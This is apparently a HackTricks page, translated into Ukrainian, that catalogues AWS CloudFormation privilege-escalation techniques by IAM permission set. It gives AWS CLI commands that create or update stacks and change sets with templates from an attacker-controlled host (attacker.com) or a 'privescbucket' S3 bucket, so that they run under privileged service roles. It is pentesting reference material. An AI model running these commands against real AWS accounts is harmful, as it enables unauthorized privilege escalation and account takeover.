AWS - Cloudformation Privesc

Support HackTricks

cloudformation

Для отримання додаткової інформації про cloudformation перегляньте:

iam:PassRole, cloudformation:CreateStack

Зловмисник з цими дозволами може підвищити привілеї, створивши CloudFormation стек з користувацьким шаблоном, розміщеним на їхньому сервері, щоб виконувати дії під дозволами вказаної ролі:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

На наступній сторінці ви маєте приклад експлуатації з додатковим дозволом cloudformation:DescribeStacks:

Потенційний вплив: Привілейоване підвищення до ролі служби cloudformation.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

У цьому випадку ви можете зловживати існуючим стеком cloudformation, щоб оновити його та підвищити привілеї, як у попередньому сценарії:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Дозвіл cloudformation:SetStackPolicy можна використовувати, щоб надати собі дозвіл UpdateStack на стек і виконати атаку.

Потенційний вплив: Привілейоване підвищення до ролі служби cloudformation.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Якщо у вас є цей дозвіл, але немає iam:PassRole, ви все ще можете оновлювати стеки та зловживати IAM ролями, які вже прикріплені. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні).

Дозвіл cloudformation:SetStackPolicy можна використовувати, щоб надати собі дозвіл UpdateStack на стек і виконати атаку.

Потенційний вплив: Привілейоване підвищення до ролі служби cloudformation, яка вже прикріплена.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Зловмисник з дозволами на передачу ролі та створення та виконання ChangeSet може створити/оновити новий стек cloudformation і зловживати ролями служби cloudformation так само, як з CreateStack або UpdateStack.

Наступна експлуатація є варіацією CreateStack, що використовує дозволи ChangeSet для створення стека.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Дозвіл cloudformation:SetStackPolicy можна використовувати, щоб надати собі дозволи ChangeSet над стеком і виконати атаку.

Потенційний вплив: Привілейоване підвищення до ролей сервісу cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Це схоже на попередній метод без передачі IAM ролей, тому ви можете просто зловживати вже прикріпленими, просто змініть параметр:

--change-set-type UPDATE

Потенційний вплив: Privesc до ролі служби cloudformation, яка вже прикріплена.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation.

Потенційний вплив: Privesc до ролей служби cloudformation.

cloudformation:UpdateStackSet

Зловмисник може зловживати цим дозволом без дозволу passRole для оновлення StackSets, щоб зловживати прикріпленими ролями cloudformation.

Потенційний вплив: Privesc до прикріплених ролей cloudformation.

Посилання

Support HackTricks

Last updated